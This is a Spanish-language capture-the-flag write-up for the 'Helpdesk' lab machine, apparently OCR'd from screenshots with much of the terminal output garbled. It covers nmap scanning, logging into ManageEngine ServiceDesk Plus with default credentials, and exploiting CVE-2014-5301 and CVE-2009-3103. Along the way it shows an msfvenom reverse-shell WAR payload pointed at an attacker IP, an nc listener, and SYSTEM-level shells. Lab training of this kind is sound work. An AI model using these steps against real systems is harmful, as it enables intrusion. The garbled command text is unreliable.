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Proving Grounds: Helpdesk

1- Reconocimiento

1.2. Puertos abiertos

Comenzamos realizando una enumeracion basica de los servicios existentes.

/home/kali/Desktop/practice_windows/helpdesk
DE 1 F 192.168.65.4

to 11 out ¢ dropped probes since

5 total ports)

-rst-ratelimit

Nmap done: 1 IP
Raw p

La maquina Helpdesk tiene 5 puertos abiertos. El siguiente paso seréa el escaneo intensivo

de estos servicios.

/home/kali/Desktop/practice_windows/helpdesk
FFLLETIE -sVC -Pn -n - 192.168.65.¢

open
open

open k 1 microsoft-ds (workgroup: WORKGROUP)

CCRCR ]

thods: GET HEAD P
nageEngine Ser

indows_se

Informacion interesante, tenemos abiertos los puertos 139y 445 (SMB) y un servidor web
en el puerto 8080 (HTTP). Comenzaremos enumerando si existen vulnerabilidades

relacionados con SMB.

2- SMB (puertos 139 y 445)

Vamos a comprobar si existen vulnerabilidades en estos servicios utilizando los scripts
de NMAP relacionados.
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/home/kali/Desktop/practice

- tp g
_smb-vuln-m C ive bytes: TIMEQUT
_smb-vuln-m e

Nmap done: 1 IP address (1 host up) scanned in 6@

Como podemos comprobar SMB es vulnerable a MS09-050 (CVE-2009-3103). Después,

comprobaremos si realmente podemos explotar esta vulnerabilidad.

3- HTTP (Puerto 8080)

Como pudimos comprobar en el escaneo inicial de servicios, se esta ejecutando un

servicio Web en la méquina objetivo. Vamos a ver su contenido.

50 ManageEngine ServiceDe %

< C @ O A 192.168.65.43

] S—
ManageEngine) plus Passwod [ ]
{ ServiceDesk
\\ [[] keep me signed in Login|

~)
ManageEngine/ | Copyright © 2009 ZOHO Corporation. Allrights reserved. Help Desk Software by ManageEngine ServiceDesk Plus | 7.6.0

En el puerto 8080 se estd ejecutando ManageEngine, que es un gestor para la
monitorizacion y administracion de todos los dispositivos de una organizacion. También
tenemos la version que se esta ejecutando (7.6.0). Comenzaremos probando credenciales

por defecto. Buscando en Google, encontramos esto.
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The v Desk Plu ag
as "administrator” and the Pass

Vamos a probar estas credenciales, por si nos diera acceso a la plataforma.

f\) About
ManageEngine

ServiceDesk'" m Requests | Soiutions | aamin | Reports | Support |
New Request ¥ Quick Actions | ¥

Quick Create - New Request (2] My View i Global View ‘ Scheduler
Requester Name * -
E

& My Tasks

Request Title * : I
‘ | Requests Overdue 0 No tasks available
Description

: Requests Due Today 0

4| R
Save Add more Details >> P 0
% ‘ending Requests + Add New

Enter Keyword
Go! No announcement exists in the system.

4- Explotacion

4.1. CVE-2014-5301 (con Metasploit)

Obtenemos acceso a la plataforma con las credenciales por defecto. Vamos a buscar
posibles puntos vulnerables en el entorno, aunque sin resultados. A continuacion,

buscaremos exploits para este gestor de sistemas.

/home/kali/Desktop/practice_windows/helpdesk

) bit
doma1nh:
‘o

tion

Tenemos un exploit para Metasploit que corresponde con el CVE-2014-5301.

Comprobamos a ver si es Gtil para acceder al sistema objetivo.

/Manageenging_adshaclus 2 6 lent Ye ManageEngine c
anageengine dir_listing 015-0 normal c ManageEngine Mult

oad normal : ManagaFngina
ManageEngine M

normal mManagetngine

manual ) ManageEngine

3 ManageEngine

ManageEngine

/admin/http/Manageenging pmp_p 2 normal Ye ManageEngine P.

Configuramos el exploit.
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Name Current Setting Reguired iption

DOMAIN_NAME
TAMAGENTTICKET

Using-Metasploit

The username to 1
HTTP i

fload options (ja

(EL

) > exploit
handler on 192.168.45.5:4444

sk Plus/Plus MS

es
terpreter session 1 opened

Tendriamos acceso con maximos privilegios a la maquina objetivo. A continuacion,

vamos a explotar esta vulnerabilidad de otra manera.

4.2. CVE-2014-5301 (sin Metasploit)
Para explotar esta vulnerabilidad sin hacer uso de Metasploit, vamos a utilizar este

exploit.

./CVE-2014-5301.py HOST PORT USERNAME PASSWORD WARFILE

Segun las instrucciones del script, es necesario generar un archivo WAR ademaés de las
credenciales encontradas anteriormente. Para generar este archivo WAR, vamos a utilizar

msfvenom.

/home/kali/Desktop/practice_windows/helpdesk

shell_reverse_tcp LHOST=192.168.45.5 LPORT=445 -f war elhackeretico.war

Una vez generado el archivo WAR, ejecutamos el archivo anterior. Al mismo tiempo,

debemos poner a la escucha un oyente nc en el puerto 445.

/home/kali/Desktop/practice_windows/helpdesk
administr r administrator elhackeretico.war
G pogrotgfmwk/q7UITb14ImziDDIA
iepogrotgfmwk/ Je dkJOiNQITma
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https://github.com/PeterSufliarsky/exploits/blob/master/CVE-2014-5301.py

MINGIGR UL

m (UNKNOWN )
1]

rporation.

HAY in>whoami
whoam1
nt authorit

Y volveriamos a tener conexién con la maquina victima con un usuario con maximos

privilegios.

4.3. CVE-2009-3103

Recordamos que, en el escaneo inicial, determinamos que SMB era vulnerable a la

vulnerabilidad CVE-2009-3103. Vamos a tratar de explotar esa vulnerabilidad.

2009-09-07

msf xploit( ) > show options
Module options ( loit/wi @_smb2_negotiate_func_ind

Name current ing Reguired

rapid7/metasploit-framew iki/uUsing-Metasploit

RPOR

WALT E: C to wait for the a ck to compl

yload options (windows/meterpreter/reverse_tcp):

tting Reguired Description
TFUNC thr o xit i (A te e t! a J , none)
5 - es i iE

LPORT

Como resultado, obtenemos que volvemos a tener acceso al equipo objetivo con
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